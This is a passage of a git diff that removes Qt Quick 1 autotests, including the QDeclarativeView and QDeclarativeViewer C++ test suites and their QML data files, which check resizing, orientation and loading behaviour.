published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include -#include -#include - -class tst_QDeclarativeView : public QObject -{ - Q_OBJECT -public: - tst_QDeclarativeView(); - -private slots: - void scene(); - void resizemodedeclarativeitem(); - void resizemodegraphicswidget(); - void errors(); - -private: - template - T *findItem(QGraphicsObject *parent, const QString &objectName); -}; - - -tst_QDeclarativeView::tst_QDeclarativeView() -{ -} - -void tst_QDeclarativeView::scene() -{ - // QTBUG-14771 - QGraphicsScene scene; - scene.setItemIndexMethod(QGraphicsScene::NoIndex); - scene.setStickyFocus(true); - - QDeclarativeView *view = new QDeclarativeView(); - QVERIFY(view); - QVERIFY(view->scene()); - view->setScene(&scene); - QCOMPARE(view->scene(), &scene); - - view->setSource(QUrl::fromLocalFile(SRCDIR "/data/resizemodedeclarativeitem.qml")); - QDeclarativeItem* declarativeItem = qobject_cast(view->rootObject()); - QVERIFY(declarativeItem); - QVERIFY(scene.items().count() > 0); - QCOMPARE(scene.items().at(0), declarativeItem); - - delete view; -} - -void tst_QDeclarativeView::resizemodedeclarativeitem() -{ - QWidget window; - QDeclarativeView *canvas = new QDeclarativeView(&window); - QVERIFY(canvas); - QSignalSpy sceneResizedSpy(canvas, SIGNAL(sceneResized(QSize))); - canvas->setResizeMode(QDeclarativeView::SizeRootObjectToView); - QCOMPARE(QSize(0,0), canvas->initialSize()); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/resizemodedeclarativeitem.qml")); - QDeclarativeItem* declarativeItem = qobject_cast(canvas->rootObject()); - QVERIFY(declarativeItem); - window.show(); - - // initial size from root object - QCOMPARE(declarativeItem->width(), 200.0); - QCOMPARE(declarativeItem->height(), 200.0); - QCOMPARE(canvas->size(), QSize(200, 200)); - QCOMPARE(canvas->size(), canvas->sizeHint()); - QCOMPARE(canvas->size(), canvas->initialSize()); - QCOMPARE(sceneResizedSpy.count(), 1); - - // size update from view - canvas->resize(QSize(80,100)); - QCOMPARE(declarativeItem->width(), 80.0); - QCOMPARE(declarativeItem->height(), 100.0); - QCOMPARE(canvas->size(), QSize(80, 100)); - QCOMPARE(canvas->size(), canvas->sizeHint()); - QCOMPARE(sceneResizedSpy.count(), 2); - - canvas->setResizeMode(QDeclarativeView::SizeViewToRootObject); - - // size update from view disabled - canvas->resize(QSize(60,80)); - QCOMPARE(declarativeItem->width(), 80.0); - QCOMPARE(declarativeItem->height(), 100.0); - QCOMPARE(canvas->size(), QSize(60, 80)); - QCOMPARE(sceneResizedSpy.count(), 3); - - // size update from root object - declarativeItem->setWidth(250); - declarativeItem->setHeight(350); - QCOMPARE(declarativeItem->width(), 250.0); - QCOMPARE(declarativeItem->height(), 350.0); - QTRY_COMPARE(canvas->size(), QSize(250, 350)); - QCOMPARE(canvas->size(), QSize(250, 350)); - QCOMPARE(canvas->size(), canvas->sizeHint()); - QCOMPARE(sceneResizedSpy.count(), 4); - - // reset canvas - window.hide(); - delete canvas; - canvas = new QDeclarativeView(&window); - QVERIFY(canvas); - QSignalSpy sceneResizedSpy2(canvas, SIGNAL(sceneResized(QSize))); - canvas->setResizeMode(QDeclarativeView::SizeViewToRootObject); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/resizemodedeclarativeitem.qml")); - declarativeItem = qobject_cast(canvas->rootObject()); - QVERIFY(declarativeItem); - window.show(); - - // initial size for root object - QCOMPARE(declarativeItem->width(), 200.0); - QCOMPARE(declarativeItem->height(), 200.0); - QCOMPARE(canvas->size(), canvas->sizeHint()); - QCOMPARE(canvas->size(), canvas->initialSize()); - QCOMPARE(sceneResizedSpy2.count(), 1); - - // size update from root object - declarativeItem->setWidth(80); - declarativeItem->setHeight(100); - QCOMPARE(declarativeItem->width(), 80.0); - QCOMPARE(declarativeItem->height(), 100.0); - QTRY_COMPARE(canvas->size(), QSize(80, 100)); - QCOMPARE(canvas->size(), QSize(80, 100)); - QCOMPARE(canvas->size(), canvas->sizeHint()); - QCOMPARE(sceneResizedSpy2.count(), 2); - - // size update from root object disabled - canvas->setResizeMode(QDeclarativeView::SizeRootObjectToView); - declarativeItem->setWidth(60); - declarativeItem->setHeight(80); - QCOMPARE(canvas->width(), 80); - QCOMPARE(canvas->height(), 100); - QCOMPARE(QSize(declarativeItem->width(), declarativeItem->height()), canvas->sizeHint()); - QCOMPARE(sceneResizedSpy2.count(), 2); - - // size update from view - canvas->resize(QSize(200,300)); - QCOMPARE(declarativeItem->width(), 200.0); - QCOMPARE(declarativeItem->height(), 300.0); - QCOMPARE(canvas->size(), QSize(200, 300)); - QCOMPARE(canvas->size(), canvas->sizeHint()); - QCOMPARE(sceneResizedSpy2.count(), 3); - - delete canvas; - - canvas = new QDeclarativeView(&window); - canvas->resize(300, 300); - canvas->setResizeMode(QDeclarativeView::SizeRootObjectToView); - QCOMPARE(QSize(0,0), canvas->initialSize()); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/resizemodedeclarativeitem.qml")); - declarativeItem = qobject_cast(canvas->rootObject()); - QVERIFY(declarativeItem); - window.show(); - - // initial size from root object - QCOMPARE(declarativeItem->width(), 300.0); - QCOMPARE(declarativeItem->height(), 300.0); - QCOMPARE(canvas->size(), QSize(300, 300)); - QCOMPARE(canvas->size(), canvas->sizeHint()); - QCOMPARE(canvas->initialSize(), QSize(200, 200)); - delete canvas; -} - -void tst_QDeclarativeView::resizemodegraphicswidget() -{ - QWidget window; - QDeclarativeView *canvas = new QDeclarativeView(&window); - QVERIFY(canvas); - QSignalSpy sceneResizedSpy(canvas, SIGNAL(sceneResized(QSize))); - canvas->setResizeMode(QDeclarativeView::SizeRootObjectToView); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/resizemodegraphicswidget.qml")); - QGraphicsWidget* graphicsWidget = qobject_cast(canvas->rootObject()); - QVERIFY(graphicsWidget); - window.show(); - - // initial size from root object - QCOMPARE(graphicsWidget->size(), QSizeF(200.0, 200.0)); - QCOMPARE(canvas->size(), QSize(200, 200)); - QCOMPARE(canvas->size(), QSize(200, 200)); - QCOMPARE(canvas->size(), canvas->sizeHint()); - QCOMPARE(canvas->size(), canvas->initialSize()); - QCOMPARE(sceneResizedSpy.count(), 1); - - // size update from view - canvas->resize(QSize(80,100)); - QCOMPARE(graphicsWidget->size(), QSizeF(80.0,100.0)); - QCOMPARE(canvas->size(), QSize(80,100)); - QCOMPARE(canvas->size(), canvas->sizeHint()); - QCOMPARE(sceneResizedSpy.count(), 2); - - // size update from view disabled - canvas->setResizeMode(QDeclarativeView::SizeViewToRootObject); - canvas->resize(QSize(60,80)); - QCOMPARE(graphicsWidget->size(), QSizeF(80.0,100.0)); - QCOMPARE(canvas->size(), QSize(60, 80)); - QCOMPARE(sceneResizedSpy.count(), 3); - - // size update from root object - graphicsWidget->resize(QSizeF(250.0, 350.0)); - QCOMPARE(graphicsWidget->size(), QSizeF(250.0,350.0)); - QCOMPARE(canvas->size(), QSize(250, 350)); - QCOMPARE(canvas->size(), canvas->sizeHint()); - QCOMPARE(sceneResizedSpy.count(), 4); - - // reset canvas - window.hide(); - delete canvas; - canvas = new QDeclarativeView(&window); - QVERIFY(canvas); - QSignalSpy sceneResizedSpy2(canvas, SIGNAL(sceneResized(QSize))); - canvas->setResizeMode(QDeclarativeView::SizeViewToRootObject); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/resizemodegraphicswidget.qml")); - graphicsWidget = qobject_cast(canvas->rootObject()); - QVERIFY(graphicsWidget); - window.show(); - - // initial size from root object - QCOMPARE(graphicsWidget->size(), QSizeF(200.0, 200.0)); - QCOMPARE(canvas->size(), QSize(200, 200)); - QCOMPARE(canvas->size(), canvas->sizeHint()); - QCOMPARE(canvas->size(), canvas->initialSize()); - QCOMPARE(sceneResizedSpy2.count(), 1); - - // size update from root object - graphicsWidget->resize(QSizeF(80, 100)); - QCOMPARE(graphicsWidget->size(), QSizeF(80.0, 100.0)); - QCOMPARE(canvas->size(), QSize(80, 100)); - QCOMPARE(canvas->size(), canvas->sizeHint()); - QCOMPARE(sceneResizedSpy2.count(), 2); - - // size update from root object disabled - canvas->setResizeMode(QDeclarativeView::SizeRootObjectToView); - graphicsWidget->resize(QSizeF(60,80)); - QCOMPARE(canvas->size(), QSize(80,100)); - QCOMPARE(QSize(graphicsWidget->size().width(), graphicsWidget->size().height()), canvas->sizeHint()); - QCOMPARE(sceneResizedSpy2.count(), 2); - - // size update from view - canvas->resize(QSize(200,300)); - QCOMPARE(graphicsWidget->size(), QSizeF(200.0, 300.0)); - QCOMPARE(canvas->size(), QSize(200, 300)); - QCOMPARE(canvas->size(), canvas->sizeHint()); - QCOMPARE(sceneResizedSpy2.count(), 3); - - window.show(); - delete canvas; -} - -static void silentErrorsMsgHandler(QtMsgType, const char *) -{ -} - -void tst_QDeclarativeView::errors() -{ - QDeclarativeView *canvas = new QDeclarativeView; - QVERIFY(canvas); - QtMsgHandler old = qInstallMsgHandler(silentErrorsMsgHandler); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/error1.qml")); - qInstallMsgHandler(old); - QVERIFY(canvas->status() == QDeclarativeView::Error); - QVERIFY(canvas->errors().count() == 1); - delete canvas; -} - -template -T *tst_QDeclarativeView::findItem(QGraphicsObject *parent, const QString &objectName) -{ - if (!parent) - return 0; - - const QMetaObject &mo = T::staticMetaObject; - //qDebug() << parent->QGraphicsObject::children().count() << "children"; - for (int i = 0; i < parent->childItems().count(); ++i) { - QDeclarativeItem *item = qobject_cast(parent->childItems().at(i)); - if(!item) - continue; - //qDebug() << "try" << item; - if (mo.cast(item) && (objectName.isEmpty() || item->objectName() == objectName)) - return static_cast(item); - item = findItem(item, objectName); - if (item) - return static_cast(item); - } - - return 0; -} - -QTEST_MAIN(tst_QDeclarativeView) - -#include "tst_qdeclarativeview.moc" diff --git a/tests/auto/qtquick1/qdeclarativeviewer/data/orientation.qml b/tests/auto/qtquick1/qdeclarativeviewer/data/orientation.qml deleted file mode 100644 index fb343120f1..0000000000 --- a/tests/auto/qtquick1/qdeclarativeviewer/data/orientation.qml +++ /dev/null @@ -1,19 +0,0 @@ -import QtQuick 1.0 -Rectangle { - color: "black" - width: (runtime.orientation == Orientation.Landscape || runtime.orientation == Orientation.LandscapeInverted) ? 300 : 200 - height: (runtime.orientation == Orientation.Landscape || runtime.orientation == Orientation.LandscapeInverted) ? 200 : 300 - Text { - text: { - if (runtime.orientation == Orientation.Portrait) - return "Portrait" - if (runtime.orientation == Orientation.PortraitInverted) - return "PortraitInverted" - if (runtime.orientation == Orientation.Landscape) - return "Landscape" - if (runtime.orientation == Orientation.LandscapeInverted) - return "LandscapeInverted" - } - color: "white" - } -} diff --git a/tests/auto/qtquick1/qdeclarativeviewer/qdeclarativeviewer.pro b/tests/auto/qtquick1/qdeclarativeviewer/qdeclarativeviewer.pro deleted file mode 100644 index b49264bcca..0000000000 --- a/tests/auto/qtquick1/qdeclarativeviewer/qdeclarativeviewer.pro +++ /dev/null @@ -1,12 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativeviewer -macx:CONFIG -= app_bundle - -include(../../../../tools/qmlviewer/qml.pri) - -SOURCES += tst_qdeclarativeviewer.cpp - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test insignificant_test -QT += core-private gui-private widgets-private declarative-private qtquick1-private v8-private testlib diff --git a/tests/auto/qtquick1/qdeclarativeviewer/tst_qdeclarativeviewer.cpp b/tests/auto/qtquick1/qdeclarativeviewer/tst_qdeclarativeviewer.cpp deleted file mode 100644 index fb52c3b862..0000000000 --- a/tests/auto/qtquick1/qdeclarativeviewer/tst_qdeclarativeviewer.cpp +++ /dev/null @@ -1,388 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include -#include -#include -#include -#include -#include -#include -#include "qmlruntime.h" -#include "deviceorientation.h" - -#if defined(Q_OS_MAC) || defined(Q_WS_MAEMO_5) -# define MENUBAR_HEIGHT(mw) 0 -#else -# define MENUBAR_HEIGHT(mw) (mw->menuBar()->height()) -#endif - - -class QDeclarativeViewerTest : public QDeclarativeViewer -{ -public: - QDeclarativeViewerTest() : QDeclarativeViewer(), resizeCount(0) {} - - void resizeEvent (QResizeEvent *event) { - QDeclarativeViewer::resizeEvent(event); - ++resizeCount; - } - - int resizeCount; -}; - -class tst_QDeclarativeViewer : public QObject - -{ - Q_OBJECT -public: - tst_QDeclarativeViewer(); - -private slots: - void runtimeContextProperty(); - void loading(); - void fileBrowser(); - void resizing(); - void paths(); - void slowMode(); - -private: - QDeclarativeEngine engine; -}; - -tst_QDeclarativeViewer::tst_QDeclarativeViewer() -{ -} - -#define TEST_INITIAL_SIZES(viewer) { \ - QDeclarativeItem* rootItem = qobject_cast(viewer->view()->rootObject()); \ - QVERIFY(rootItem); \ -\ - QCOMPARE(rootItem->width(), 200.0); \ - QCOMPARE(rootItem->height(), 300.0); \ - QTRY_COMPARE(viewer->view()->size(), QSize(200, 300)); \ - QCOMPARE(viewer->view()->sceneRect().size(), QSizeF(200, 300)); \ - QCOMPARE(viewer->size(), QSize(200, 300 + MENUBAR_HEIGHT(viewer))); \ - QCOMPARE(viewer->size(), viewer->sizeHint()); \ -} - -void tst_QDeclarativeViewer::runtimeContextProperty() -{ - QDeclarativeViewer *viewer = new QDeclarativeViewer(); - QVERIFY(viewer); - viewer->open(SRCDIR "/data/orientation.qml"); - QVERIFY(viewer->view()); - QVERIFY(viewer->menuBar()); - QDeclarativeItem* rootItem = qobject_cast(viewer->view()->rootObject()); - QVERIFY(rootItem); - QObject *runtimeObject = qvariant_cast(viewer->view()->engine()->rootContext()->contextProperty("runtime")); - QVERIFY(runtimeObject); - - // test isActiveWindow property - QVERIFY(!runtimeObject->property("isActiveWindow").toBool()); - - viewer->show(); - QApplication::setActiveWindow(viewer); - QTest::qWaitForWindowShown(viewer); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(viewer)); - - QVERIFY(runtimeObject->property("isActiveWindow").toBool()); - - TEST_INITIAL_SIZES(viewer); - - // test orientation property - QCOMPARE(runtimeObject->property("orientation").toInt(), int(DeviceOrientation::Portrait)); - - viewer->rotateOrientation(); - qApp->processEvents(); - - QCOMPARE(runtimeObject->property("orientation").toInt(), int(DeviceOrientation::Landscape)); - QCOMPARE(rootItem->width(), 300.0); - - QCOMPARE(rootItem->width(), 300.0); - QCOMPARE(rootItem->height(), 200.0); - QTRY_COMPARE(viewer->view()->size(), QSize(300, 200)); - QCOMPARE(viewer->view()->sceneRect().size(), QSizeF(300, 200)); - QCOMPARE(viewer->size(), QSize(300, 200 + MENUBAR_HEIGHT(viewer))); - QCOMPARE(viewer->size(), viewer->sizeHint()); - - viewer->rotateOrientation(); - qApp->processEvents(); - - QCOMPARE(runtimeObject->property("orientation").toInt(), int(DeviceOrientation::PortraitInverted)); - - QCOMPARE(rootItem->width(), 200.0); - QCOMPARE(rootItem->height(), 300.0); - QTRY_COMPARE(viewer->view()->size(), QSize(200, 300)); - QCOMPARE(viewer->view()->sceneRect().size(), QSizeF(200, 300)); - QCOMPARE(viewer->size(), QSize(200, 300 + MENUBAR_HEIGHT(viewer))); - QCOMPARE(viewer->size(), viewer->sizeHint()); - - viewer->rotateOrientation(); - qApp->processEvents(); - - QCOMPARE(runtimeObject->property("orientation").toInt(), int(DeviceOrientation::LandscapeInverted)); - - viewer->rotateOrientation(); - qApp->processEvents(); - - QCOMPARE(runtimeObject->property("orientation").toInt(), int(DeviceOrientation::Portrait)); - - viewer->hide(); - QVERIFY(!runtimeObject->property("isActiveWindow").toBool()); - - delete viewer; -} - -void tst_QDeclarativeViewer::loading() -{ - QDeclarativeViewer *viewer = new QDeclarativeViewer(); - QVERIFY(viewer); - viewer->setSizeToView(true); - viewer->open(SRCDIR "/data/orientation.qml"); - QVERIFY(viewer->view()); - QVERIFY(viewer->menuBar()); - QDeclarativeItem* rootItem = qobject_cast(viewer->view()->rootObject()); - QVERIFY(rootItem); - viewer->show(); - - QApplication::setActiveWindow(viewer); - QTest::qWaitForWindowShown(viewer); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(viewer)); - - TEST_INITIAL_SIZES(viewer); - - viewer->resize(QSize(250, 350)); - qApp->processEvents(); - - // window resized - QTRY_COMPARE(rootItem->width(), 250.0); - QTRY_COMPARE(rootItem->height(), 350.0 - MENUBAR_HEIGHT(viewer)); - QCOMPARE(viewer->view()->size(), QSize(250, 350 - MENUBAR_HEIGHT(viewer))); - QCOMPARE(viewer->view()->initialSize(), QSize(200, 300)); - QCOMPARE(viewer->view()->sceneRect().size(), QSizeF(250, 350 - MENUBAR_HEIGHT(viewer))); - QCOMPARE(viewer->size(), QSize(250, 350)); - QCOMPARE(viewer->size(), viewer->sizeHint()); - - QSignalSpy statusSpy(viewer->view(), SIGNAL(statusChanged(QDeclarativeView::Status))); - viewer->reload(); - QTRY_VERIFY(statusSpy.count() == 1); - rootItem = qobject_cast(viewer->view()->rootObject()); - QVERIFY(rootItem); - - // reload cause the window to return back to initial size - QTRY_COMPARE(rootItem->width(), 200.0); - QTRY_COMPARE(rootItem->height(), 300.0); - QCOMPARE(viewer->view()->size(), QSize(200, 300)); - QCOMPARE(viewer->view()->initialSize(), QSize(200, 300)); - QCOMPARE(viewer->view()->sceneRect().size(), QSizeF(200, 300)); - QCOMPARE(viewer->size(), QSize(200, 300 + MENUBAR_HEIGHT(viewer))); - QCOMPARE(viewer->size(), viewer->sizeHint()); - - viewer->resize(QSize(250, 350)); - qApp->processEvents(); - - // window resized again - QTRY_COMPARE(rootItem->width(), 250.0); - QTRY_COMPARE(rootItem->height(), 350.0 - MENUBAR_HEIGHT(viewer)); - QCOMPARE(viewer->view()->size(), QSize(250, 350 - MENUBAR_HEIGHT(viewer))); - QCOMPARE(viewer->view()->initialSize(), QSize(200, 300)); - QCOMPARE(viewer->view()->sceneRect().size(), QSizeF(250, 350 - MENUBAR_HEIGHT(viewer))); - QCOMPARE(viewer->size(), QSize(250, 350)); - QCOMPARE(viewer->size(), viewer->sizeHint()); - - viewer->open(SRCDIR "/data/orientation.qml"); - rootItem = qobject_cast(viewer->view()->rootObject()); - QVERIFY(rootItem); - - // open also causes the window to return back to initial size - QTRY_COMPARE(rootItem->width(), 200.0); - QTRY_COMPARE(rootItem->height(), 300.0); - QCOMPARE(viewer->view()->size(), QSize(200, 300)); - QCOMPARE(viewer->view()->initialSize(), QSize(200, 300)); - QCOMPARE(viewer->view()->sceneRect().size(), QSizeF(200, 300)); - QCOMPARE(viewer->size(), QSize(200, 300 + MENUBAR_HEIGHT(viewer))); - QCOMPARE(viewer->size(), viewer->sizeHint()); - - delete viewer; -} - -static int numberOfWarnings = 0; -static void checkWarnings(QtMsgType, const char *) -{ - numberOfWarnings++; -} - -void tst_QDeclarativeViewer::fileBrowser() -{ - QtMsgHandler previousMsgHandler = qInstallMsgHandler(checkWarnings); - QDeclarativeViewer *viewer = new QDeclarativeViewer(); - QVERIFY(viewer); - viewer->setUseNativeFileBrowser(false); - viewer->openFile(); - viewer->show(); - QCoreApplication::processEvents(); - qInstallMsgHandler(previousMsgHandler); - - // QTBUG-15720 - QVERIFY(numberOfWarnings == 0); - - QApplication::setActiveWindow(viewer); - QTest::qWaitForWindowShown(viewer); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(viewer)); - - // Browser.qml successfully loaded - QDeclarativeItem* browserItem = qobject_cast(viewer->view()->rootObject()); - QVERIFY(viewer->view()); - QVERIFY(viewer->menuBar()); - QVERIFY(browserItem); - - // load something - viewer->open(SRCDIR "/data/orientation.qml"); - QVERIFY(viewer->view()); - QVERIFY(viewer->menuBar()); - QDeclarativeItem* rootItem = qobject_cast(viewer->view()->rootObject()); - QVERIFY(rootItem); - QVERIFY(browserItem != rootItem); - - // go back to Browser.qml - viewer->openFile(); - browserItem = qobject_cast(viewer->view()->rootObject()); - QVERIFY(viewer->view()); - QVERIFY(viewer->menuBar()); - QVERIFY(browserItem); - - delete viewer; -} - -void tst_QDeclarativeViewer::resizing() -{ - QDeclarativeViewerTest *viewer = new QDeclarativeViewerTest(); - QVERIFY(viewer); - viewer->open(SRCDIR "/data/orientation.qml"); - QVERIFY(viewer->view()); - QVERIFY(viewer->menuBar()); - QDeclarativeItem* rootItem = qobject_cast(viewer->view()->rootObject()); - QVERIFY(rootItem); - viewer->show(); - - QApplication::setActiveWindow(viewer); - QTest::qWaitForWindowShown(viewer); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(viewer)); - - TEST_INITIAL_SIZES(viewer); - - QCOMPARE(viewer->resizeCount, 1); - - viewer->setSizeToView(false); - - // size view to root object - rootItem->setWidth(150); - rootItem->setHeight(200); - qApp->processEvents(); - - QCOMPARE(rootItem->width(), 150.0); - QCOMPARE(rootItem->height(), 200.0); - QTRY_COMPARE(viewer->view()->size(), QSize(150, 200)); - QCOMPARE(viewer->view()->initialSize(), QSize(200, 300)); - QCOMPARE(viewer->view()->sceneRect().size(), QSizeF(150, 200)); - QCOMPARE(viewer->size(), QSize(150, 200 + MENUBAR_HEIGHT(viewer))); - - QCOMPARE(viewer->resizeCount, 2); - - // do not size root object to view - viewer->resize(QSize(180,250)); - QCOMPARE(rootItem->width(), 150.0); - QCOMPARE(rootItem->height(), 200.0); - - viewer->setSizeToView(true); - - // size root object to view - viewer->resize(QSize(250,350)); - qApp->processEvents(); - - QTRY_COMPARE(rootItem->width(), 250.0); - QTRY_COMPARE(rootItem->height(), 350.0 - MENUBAR_HEIGHT(viewer)); - QTRY_COMPARE(viewer->view()->size(), QSize(250, 350 - MENUBAR_HEIGHT(viewer))); - QCOMPARE(viewer->view()->initialSize(), QSize(200, 300)); - QCOMPARE(viewer->view()->sceneRect().size(), QSizeF(250, 350 - MENUBAR_HEIGHT(viewer))); - QCOMPARE(viewer->size(), QSize(250, 350)); - - // do not size view to root object - viewer->resizeCount = 0; - - rootItem->setWidth(150); - rootItem->setHeight(200); - QTRY_COMPARE(viewer->size(), QSize(250, 350)); - - QCOMPARE(viewer->resizeCount, 0); - - delete viewer; -} - -void tst_QDeclarativeViewer::paths() -{ - QDeclarativeViewer *viewer = new QDeclarativeViewer(); - QVERIFY(viewer); - - viewer->addLibraryPath("miscImportPath"); - viewer->view()->engine()->importPathList().contains("miscImportPath"); - - viewer->addPluginPath("miscPluginPath"); - viewer->view()->engine()->pluginPathList().contains("miscPluginPath"); - - delete viewer; -} - -void tst_QDeclarativeViewer::slowMode() -{ - QDeclarativeViewer *viewer = new QDeclarativeViewer(); - QVERIFY(viewer); - - viewer->setSlowMode(true); - viewer->setSlowMode(false); - - delete viewer; -} - -QTEST_MAIN(tst_QDeclarativeViewer) - -#include "tst_qdeclarativeviewer.moc" diff --git a/tests/auto/qtquick1/qdeclarativevisualdatamodel/data/datalist.qml b/tests/auto/qtquick1/qdeclarativevisualdatamodel/data/datalist.qml deleted file mode 100644 index ebf1eea674..0000000000 --- a/tests/auto/qtquick1/qdeclarativevisualdatamodel/data/datalist.qml +++ /dev/null @@ -1,19 +0,0 @@ -import QtQuick 1.0 - -ListView { - width: 100 - height: 100 - anchors.fill: parent - model: VisualDataModel { - id: visualModel - objectName: "visualModel" - model: myModel - delegate: Component { - Rectangle { - height: 25 - width: 100 - Text { objectName: "display"; text: display } - } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativevisualdatamodel/data/modelproperties.qml b/tests/auto/qtquick1/qdeclarativevisualdatamodel/data/modelproperties.qml deleted file mode 100644 index 8cd5763684..0000000000 --- a/tests/auto/qtquick1/qdeclarativevisualdatamodel/data/modelproperties.qml +++ /dev/null @@ -1,17 +0,0 @@ -import QtQuick 1.0 - -ListView { - model: myModel - delegate: Item { - objectName: "delegate" - property variant test1: name - property variant test2: model.name - property variant test3: modelData - property variant test4: model.modelData - property variant test5: modelData.name - property variant test6: model - property variant test7: index - property variant test8: model.index - property variant test9: model.modelData.name - } -} diff --git a/tests/auto/qtquick1/qdeclarativevisualdatamodel/data/modelproperties2.qml b/tests/auto/qtquick1/qdeclarativevisualdatamodel/data/modelproperties2.qml deleted file mode 100644 index 67721c92a1..0000000000 --- a/tests/auto/qtquick1/qdeclarativevisualdatamodel/data/modelproperties2.qml +++ /dev/null @@ -1,17 +0,0 @@ -import QtQuick 1.0 - -ListView { - model: myModel - delegate: Item { - objectName: "delegate" - property variant test1: display - property variant test2: model.display - property variant test3: modelData - property variant test4: model.modelData - property variant test5: modelData.display - property variant test6: model - property variant test7: index - property variant test8: model.index - property variant test9: model.modelData.display - } -} diff --git a/tests/auto/qtquick1/qdeclarativevisualdatamodel/data/objectlist.qml b/tests/auto/qtquick1/qdeclarativevisualdatamodel/data/objectlist.qml deleted file mode 100644 index 4134259714..0000000000 --- a/tests/auto/qtquick1/qdeclarativevisualdatamodel/data/objectlist.qml +++ /dev/null @@ -1,19 +0,0 @@ -import QtQuick 1.0 - -ListView { - width: 100 - height: 100 - anchors.fill: parent - model: myModel - delegate: Component { - Rectangle { - height: 25 - width: 100 - color: model.modelData.color - Text { objectName: "name"; text: name } - Text { objectName: "section"; text: parent.ListView.section } - } - } - section.property: "name" - section.criteria: ViewSection.FullString -} diff --git a/tests/auto/qtquick1/qdeclarativevisualdatamodel/data/singlerole1.qml b/tests/auto/qtquick1/qdeclarativevisualdatamodel/data/singlerole1.qml deleted file mode 100644 index d72e128b82..0000000000 --- a/tests/auto/qtquick1/qdeclarativevisualdatamodel/data/singlerole1.qml +++ /dev/null @@ -1,11 +0,0 @@ -import QtQuick 1.0 - -ListView { - width: 100 - height: 100 - anchors.fill: parent - model: myModel - delegate: Component { - Text { objectName: "name"; text: name } - } -} diff --git a/tests/auto/qtquick1/qdeclarativevisualdatamodel/data/singlerole2.qml b/tests/auto/qtquick1/qdeclarativevisualdatamodel/data/singlerole2.qml deleted file mode 100644 index b9e666cec3..0000000000 --- a/tests/auto/qtquick1/qdeclarativevisualdatamodel/data/singlerole2.qml +++ /dev/null @@ -1,11 +0,0 @@ -import QtQuick 1.0 - -ListView { - width: 100 - height: 100 - anchors.fill: parent - model: myModel - delegate: Component { - Text { objectName: "name"; text: modelData } - } -} diff --git a/tests/auto/qtquick1/qdeclarativevisualdatamodel/data/visualdatamodel.qml b/tests/auto/qtquick1/qdeclarativevisualdatamodel/data/visualdatamodel.qml deleted file mode 100644 index a5c44d0151..0000000000 --- a/tests/auto/qtquick1/qdeclarativevisualdatamodel/data/visualdatamodel.qml +++ /dev/null @@ -1,11 +0,0 @@ -import QtQuick 1.0 - -VisualDataModel { - function setRoot() { - rootIndex = modelIndex(0); - } - function setRootToParent() { - rootIndex = parentModelIndex(); - } - model: myModel -} diff --git a/tests/auto/qtquick1/qdeclarativevisualdatamodel/qdeclarativevisualdatamodel.pro b/tests/auto/qtquick1/qdeclarativevisualdatamodel/qdeclarativevisualdatamodel.pro deleted file mode 100644 index 128e4ff244..0000000000 --- a/tests/auto/qtquick1/qdeclarativevisualdatamodel/qdeclarativevisualdatamodel.pro +++ /dev/null @@ -1,11 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativevisualdatamodel -macx:CONFIG -= app_bundle - -SOURCES += tst_qdeclarativevisualdatamodel.cpp - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test - -QT += core-private gui-private widgets-private v8-private declarative-private qtquick1-private testlib diff --git a/tests/auto/qtquick1/qdeclarativevisualdatamodel/tst_qdeclarativevisualdatamodel.cpp b/tests/auto/qtquick1/qdeclarativevisualdatamodel/tst_qdeclarativevisualdatamodel.cpp deleted file mode 100644 index 18bce6860a..0000000000 --- a/tests/auto/qtquick1/qdeclarativevisualdatamodel/tst_qdeclarativevisualdatamodel.cpp +++ /dev/null @@ -1,528 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as 